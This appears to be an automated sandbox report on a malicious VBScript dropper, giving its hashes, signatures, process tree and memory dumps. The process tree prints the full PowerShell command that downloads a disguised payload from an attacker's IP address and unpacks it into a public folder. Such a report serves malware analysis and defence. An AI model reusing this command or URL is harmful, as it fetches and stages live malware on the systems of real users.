Analysis

  • max time kernel
    361s
  • max time network
    362s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20-03-2024 19:06

General

  • Target

    xt.vbs

  • Size

    728B

  • MD5

    617b93b01b88973de9237d3115c73b7a

  • SHA1

    2b17b017b3b552d0d0744810a8b50420baf847d1

  • SHA256

    45c1e9101141f68101337cd553cbdfdbb5d752423c350df39aab343d4312663b

  • SHA512

    458c8c1239f88a19b83c5c370e7bf87efd4d57abc2a406e1ec5f6edabb95b6f644c384cc9669710529faf90e5c03890f7bb7e7a5a6a098d1e5b9fdca254c6d77

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://45.80.158.168:222/x.jpg

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\xt.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'http://45.80.158.168:222/x.jpg' -Destination 'C:\Users\Public\ben.zip'; Expand-Archive -Path 'C:\Users\Public\ben.zip' -DestinationPath 'C:\Users\Public\' -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2784

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2784-5-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-4-0x000000001B690000-0x000000001B972000-memory.dmp

    Filesize

    2.9MB

  • memory/2784-6-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

    Filesize

    32KB

  • memory/2784-7-0x0000000002D10000-0x0000000002D90000-memory.dmp

    Filesize

    512KB

  • memory/2784-8-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/2784-9-0x0000000002D10000-0x0000000002D90000-memory.dmp

    Filesize

    512KB

  • memory/2784-10-0x0000000002D10000-0x0000000002D90000-memory.dmp

    Filesize

    512KB

  • memory/2784-11-0x0000000002D10000-0x0000000002D90000-memory.dmp

    Filesize

    512KB

  • memory/2784-12-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB